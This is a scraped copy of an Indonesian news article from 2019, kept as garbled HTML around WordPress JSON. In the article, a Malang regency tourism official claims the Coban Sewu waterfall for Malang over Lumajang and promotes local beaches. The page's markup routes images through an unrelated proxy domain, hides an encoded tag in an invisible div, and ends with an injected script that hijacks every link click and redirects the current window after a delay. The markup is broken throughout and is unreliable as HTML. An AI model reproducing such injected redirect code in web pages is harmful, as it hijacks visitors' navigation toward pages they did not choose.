<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":419866,"date":"2019-02-19T18:15:38","date_gmt":"2019-02-19T11:15:38","guid":{"rendered":"http:\/\/beritajatim.com\/?p=419866"},"modified":"2019-02-19T18:15:36","modified_gmt":"2019-02-19T11:15:36","slug":"permendagri-pastikan-coban-sewu-milik-kabupaten-malang","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/permendagri-pastikan-coban-sewu-milik-kabupaten-malang","title":{"rendered":"Permendagri Pastikan Coban Sewu Milik Kabupaten Malang"},"content":{"rendered":"</p><p><strong>Malang (beritajatim.com)&lt;\/strong&gt; &ndash; Tempat Wisata Air Terjun Coban Sewu yang kini di klaim masuk wilayah Kabupaten Lumajang, sempat jadi rebutan dengan Pemkab Malang.&lt;\/p&gt;\n<p>Pasalnya, secara geografis, wilayah tempat Wisata Coban Sewu masuk Desa Sidorenggo, Kecamatan Ampelgading, Kabupaten Malang.&lt;\/p&gt;\n</p><p>Sekretaris Dinas Pariwisata dan Kebudayaan (Disparbud) Kabupaten Malang, M Rofiq, Selasa (19\/2\/2019) mengatakan, jika tempat Wisata Air Terjun Coban Sewu atau biasa masyarakat Desa Sidorenggo menyebutnya Tumpak Sewu, berdasarkan Peraturan Menteri Dalam Negeri (Permendagri) Nomor 86 Tahun 2013 tentang Batas Daerah Kabupaten Malang Dengan Kabupaten Lumajang Provinsi Jawa Timur sudah jelas.&lt;\/p&gt;\n</p><p><img fetchpriority='\"high\"' decoding='\"async\"' class='\"aligncenter' wp-image-419868 size-large src="https://bloso.top/news/info-https-%5C%22https:%5C/%5C/beritajatim.com%5C/wp-content%5C/uploads%5C/2019%5C/02%5C/IMG-20190219-WA0084-1024x767.jpg%5C%22" alt='\"\"' width='\"1024\"' height='\"767\"' srcset='\"https:\/\/beritajatim.com\/wp-content\/uploads\/2019\/02\/IMG-20190219-WA0084-1024x767.jpg' https: sizes='\"(max-width:'>&lt;\/p&gt;\n</p><p>\u201cBahwa lokasi Wisata Air Terjun Coban Sewu berada di wilayah Kabupaten Malang, tepatnya di wilayah Desa Siderenggo, Kecamatan Ampelgading, Kabupaten Malang,\u201d tegas Rofiq.&lt;\/p&gt;\n</p><p>Dengan Permendagri tersebut, kata Rofiq, maka Wisata Air Terjun Coban Sewu masuk wilayah Kabupaten Malang bukan wilayah Kabupaten Lumajang.&lt;\/p&gt;\n</p><p>Karena dalam Permandagri itu, sudah jelas diterangkan batas-batas wilayah antara Kabupaten Malang dan Kabupaten Lumajang.&lt;\/p&gt;\n</p><p>\u201cKlaim Pemerintah Kabupaten (Pemkab) Lumajang, jika Air Terjun Coban Sewu masuk wilayahnya, itu tidak benar. Sehingga masyarakat bisa mengetahui dengan jelas, bahwa lokasi wisata alam yang di klaim pemerintah setempat, yang benar adalah di wilayah Kabupaten Malang,\u201d terang Rofiq.&lt;\/p&gt;\n</p><p>Disisi lain, dia juga menambahkan, wilayah Kabupaten Malang ini memiliki potensi tempat wisata\u00a0 yang sangat banyak, terutama wisata pantai. Karena wisata pantai yang dimiliki Kabupaten Malang sebanyak 44 lokasi yang tersebar di wilayah Malang Selatan, dan total wisata yang kita miliki saat ini mencapai 179 titik lokasi, termasuk juga wisata desa. Sedangkan dari jumlah tempat wisata tersebut, ada 18 titik lokasi yang dapat\u00a0 dikunjungi.&lt;\/p&gt;\n</p><p>Sedangkan deesa wisata terbagi dua kategori. Yaitu wisata desa dan wisata desa maju. Sedangkan wisata desa mandiri, seperti Wisata Desa Pujon Kidul dan Wisata Gubuk Klakah, di Kecamatan Poncokusumo.&lt;\/p&gt;\n</p><p>Sedangan untuk Wisata Desa Maju terdapat 12 titik lokasi, diantaranya Wisata Desa Krabyakan, Desa Sidoluhur, Kecamatan Lawang dan Desa Wisata Sanankerto, di wilayah Kecamatan Turen. \u201cIni yang kami maksud jika Kabupaten Malang ini kaya akan tempat wisata,\u201d paparnya.&lt;\/p&gt;\n</p><p>Rofiq menbahkan, dari 44 tempat wisata pantai di wilayah Kabupaten Malang, ada beberapa tempat wisata yang dapat dikunjungi wisatawan. Misalnya untuk gathering family atau berkumpul bersama keluarga bisa mengunjungi Pantai Balekambang, Ngeliyep, Ungapan, dan Pantai Sendangbiru.&lt;\/p&gt;\n</p><p><img decoding='\"async\"' class='\"alignnone' wp-image-419869 size-large src="https://bloso.top/news/info-https-%5C%22https:%5C/%5C/beritajatim.com%5C/wp-content%5C/uploads%5C/2019%5C/02%5C/IMG-20190219-WA0088-1024x682.jpg%5C%22" alt='\"\"' width='\"1024\"' height='\"682\"' srcset='\"https:\/\/beritajatim.com\/wp-content\/uploads\/2019\/02\/IMG-20190219-WA0088-1024x682.jpg' https: sizes='\"(max-width:'>&lt;\/p&gt;\n</p><p>Sedangkan jika wisatawan untuk wisata adventure atau wisata petualangan bisa mengunjungi Pantai Sipelot, Wedi Awu, dan Ngantep. Sementara wisatawan pun juga bisa menikmati wisata pantai konservasi, yakni di Pantai Tiga Warna di Desa Tambakrejo, Kecamatan Sumbermanjing Wetan, Kabupaten Malang.&lt;\/p&gt;\n</p><p>\u201cKami menargetkan pada tahun 2019 ini jumlah wisatawan yang datang di Kabupaten Malang meningkat 10 persen. Sebab pada tahun 2018, kunjungan wisatawan di kabupaten ini tembus angka 7 juta orang wisatawan. Sehingga di tahun ini target kunjungan wisata diharapkan bisa bertambah mencapai 700 sampai 1.000 orang wisatawan,\u201d pungkas Rofiq.<strong> (yog\/ted)&lt;\/strong&gt;&lt;\/p&gt;\n<p>&nbsp;&lt;\/p&gt;\n</p><p>&nbsp;&lt;\/p&gt;\n</p><p>&nbsp;&lt;\/p&gt;\n</p><p>&nbsp;&lt;\/p&gt;\n</p><p>&nbsp;&lt;\/p&gt;\n</p><p>&nbsp;&lt;\/p&gt;\n","protected":false},"excerpt":{"rendered":"</p><p>Malang (beritajatim.com) &ndash; Tempat Wisata Air Terjun Coban Sewu yang kini di klaim masuk wilayah Kabupaten Lumajang, sempat jadi rebutan dengan Pemkab Malang. Pasalnya, secara geografis, wilayah tempat Wisata Coban Sewu masuk Desa Sidorenggo, Kecamatan Ampelgading, Kabupaten Malang. Sekretaris Dinas Pariwisata dan Kebudayaan (Disparbud) Kabupaten Malang, M Rofiq, Selasa (19\/2\/2019) mengatakan, jika tempat Wisata Air&lt;\/p&gt;\n","protected":false},"author":16,"featured_media":419867,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[9],"tags":[831,61,3368,182],"gn_keywords":[],"class_list":["post-419866","post","type-post","status-publish","format-standard","has-post-thumbnail","category-gaya-hidup","tag-kabupaten-malang","tag-malang","tag-tumpak-sewu","tag-wisata"],"acf":[],"aioseo_notices":[],"distributor_meta":false,"distributor_terms":false,"distributor_media":false,"distributor_original_site_name":"beritajatim.com","distributor_original_site_url":"https:\/\/beritajatim.com","push-errors":false,"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/419866","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=419866"}],"version-history":[{"count":0,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/419866\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/419867"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=419866"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=419866"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=419866"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=419866"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</p></strong></p></strong></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
